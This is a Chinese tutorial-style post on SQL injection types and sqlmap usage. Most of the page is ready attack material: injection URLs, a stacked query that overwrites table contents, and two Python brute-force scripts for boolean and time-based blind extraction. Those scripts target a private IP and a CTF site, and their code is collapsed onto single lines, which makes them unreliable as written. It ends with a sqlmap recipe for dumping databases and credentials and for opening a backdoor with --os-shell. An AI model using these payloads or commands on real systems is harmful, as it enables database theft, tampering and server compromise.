sql注入与sqlmap工具使用
SQL的注入类型:
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Time-based blind SQL injection(基于时间延迟注入)
Boolean-based blind SQL injection(布尔型注入)
通过判断页面返回情况获得想要的信息。
如下SQL注入:
1 http://hello.com/view?id=1 and substring(version(),1,1)=5
如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。
id='' and ascii(substr((select flag from flag), 2, 1))?102#
构造以上的请求进行字符猜解。
补充一个布尔型字符猜解的脚本:
import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''for j in range(50):for i in maystr:#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)#news#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)#tb_admin tb_flag tb_news#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)#flagstr = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i) #flag{1396265adbb760c86475304b98e3f61c}res=requests.get(str).textif len(res)>1200:flag+=iprint icontinueprint flag
Error-based SQL injection(报错型注入)
如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信息。
典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug: duplicate key for entry on select?、 SQL Injection attack - What does this do?
如下SQL注入:
1 http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
2 AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
3 LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
4 SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
在抛出的SQL错误中会包含这样的信息: Duplicate entry 'qzpzqttqxxbq1' for key 'group_key'
,其中qzpzq和qxxbq分别是0x717a707a71和0x7178786271,用这两个字符串包住了tt(即数据库名),是为了方便sql注入程序从返回的错误内容中提取出信息。
UNION query SQL injection(可联合查询注入)
最快捷的方法,通过UNION查询获取到所有想要的数据,前提是请求返回后能输出SQL执行后查询到的所有内容。
如下SQL注入:
1 http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection(可多语句查询注入)
即能够执行多条查询语句,非常危险,因为这意味着能够对数据库直接做更新操作。
如下SQL注入:
1 http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'
在第二次请求 http://hello.com/view?id=1
时,会发现所有的content都被设置为aaaaaaaaa了。
Time-based blind SQL injection(基于时间延迟注入)
页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度非常慢。
如下SQL注入:
1 http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '
该请求会使MySQL的查询睡眠5S,攻击者可以通过添加条件判断到SQL中,比如IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能做到类似boolean注入的效果,如果睡眠了5s,那么说明MySQL版本为5,否则不是,但这种方式获取信息的速度就会很慢了,因为要做非常多的判断,并且需要花时间等待,不断地去测试出相应的值出来。
以下为一个利用时间延迟注入来爆破数据库内容的脚本
#coding:utf-8import requests;
maystr="0987654321qwertyuiopasdfghjklzxcvbnm."
flag=''
for j in range(33):for i in maystr:url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"header={# "X-Forwarded-For":"' + (select case when (substring((select database())from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i) ##"X-Forwarded-For":"' +(select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i) #跑表明"X-Forwarded-For":"' + (select case when (substring((select group_concat(column_name) from information_schema.columns where table_name='flag') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)#"X-Forwarded-For":"' + (select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i) }try:res=requests.get(url, headers=header,timeout=4).textexcept:flag+=iprint flag# print res
使用sqlmap对某网站做测试结果:
可以看到这个注入点可以进行boolean-based blind, and/or time-based blind和 union query。
sqlmap教程(sql注入步骤)
1.检测注入点:
sqlmap.py -u url
2.暴库,暴出服务器上所有数据库的名称(sqlmap.py -u url --dbs)
3.服务器上所有的用户及密码,
4.当前web使用的数据库和用户,sqlmap.py -u url -b --current-db --current-user
5.列出数据库中所有的表,sqlmap.py -u url -D database --tables
6.列出表中的字段,sqlmap.py -u url -D database -T table --cloumns
7.暴出字段内容,sqlmap.py -u url -D database -T table -C columns --dump
如果需要表格post 提交方式,则增加--data 关键字,例如
sqlmap.py -u url --data "username=name&passwd=pass&submit=login"
关于如何利用SQL注入制造一个后门,参考文章http://www.freebuf.com/articles/222.html,可以制造数据库后门和系统后门。
简单的利用sqlmap制造系统后门:sqlmap -u url --os-shell
sql注入与sqlmap工具使用相关推荐
- 视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用
SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营 刘畅 ¥15.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...
- 渗透测试-SQL注入之sqlmap的使用方法及实战案例
SQL注入之sqlmap的使用方法及实战案例 文章目录 SQL注入之sqlmap的使用方法及实战案例 前言 一.sqlmap的使用方法 查库,表,列,以及相关的字段的信息 万能密码汇总 判断是否为字符 ...
- sql注入的小工具介绍
sql注入的小工具介绍 啊D注入工具: pangolin(穿山甲) 穿山甲:Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec ...
- 渣渣白教你使用工具Safe3 SQL注入安全检测工具
说明:1. 未经授权的渗透测试都是违法的! 2. 文章用红色字体编写的部分是关键部分(认真看)!!! 3. 文章用黑色字体编写的部分是渣渣白内心独白,无关紧0! 4. 文章用其他颜色字体编写的 ...
- OWASP TOP 10(一)SQL注入(自动化工具sqlmap)
文章目录 sqlmap 一.概述 二.基本参数 1. 检测注入点 2. 列出所有数据库名 3. 列出当前数据库名 4. 列出数据库名表名 5. 列出表中字段名 6. 列出字段内容 - 读取post请求 ...
- sql注入之——SQLMap常见语句
填坑~~ SQLMap常见语句 首先要明确 整个的单词 需要用两个横杠– 缩写的单词 需要一个横杠- 参考:https://www.freebuf.com/sectool/164608.html 一. ...
- mysql注入扫描网站漏洞工具_国产SQL注入漏洞测试工具 - 超级SQL注入工具(SSQLInjection)...
此工具为本人对C#.Socket及HTTP协议.SQL注入进行深入研究后,闲暇时间做的一款SQL注入工具.不说秒SQLMap,直接秒杀什么webcruiser.Safe3SI.pangolin.hav ...
- SQL注入之sqlmap入门教程
目录 一.判断是否存在注入点 二.查询当前用户下所有数据库 三.获取数据库中的表名 四.获取表中的字段名 五.获取字段内容 六.获取数据库的所有用户 七.获取数据库用户的密码 八.获取当前网站数据库的 ...
- B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf
前言: 在攻防实战中,往往需要掌握一些特性,比如服务器.数据库.应用层.WAF层等,以便我们更灵活地去构造 Payload,从而可以和各种 WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用. 演示案 ...
- Sql注入工具php,phpcms框架SQL注入--基于Havij工具
sql注入的步骤: 1.首先观察网站是通过GET还是POST方式传输数据的: a.如果是GET传输,则在url中输入?id=1' 或者 " 或者 ') 来测试是否存在sql注入. b.如果是 ...
最新文章
- shell发送网页邮件
- python单下划线和双下线的区别
- 在ubuntu16.04中一键创建LAMP环境 新系统
- 持续集成Java覆盖率合并
- 去BAT面试完的Mysql面试题总结(55道)
- 深入理解嵌入式中重要的编程模型
- Comparable接口的使用:(知识回顾)
- 61单片机程序下载一闪而过,下载完成之后没有看到实验现象。
- 线性约束最优化问题的Frank-Wolfe方法
- linux无线网络已连接,上不了网,无线网络连接上但上不了网的原因和解决方法
- QT图片缩放、拖动、重置
- DenseTNT翻译
- 【使用python获取pdf所需数据】
- 【Markdown笔记】设置字体颜色
- 华米2020,硬件继续去小米化、加强健康数据服务探索
- Android中文件与文件夹的创建(file)
- MW150UH驱动程序Linux,MW150UH V2.0_20170607驱动程序
- LCD1602rw接地与LM358输出电压
- 电脑上的软件和硬件怎么区分?
- 【演示文稿制作动画】Focusky教程 | 图表美化技巧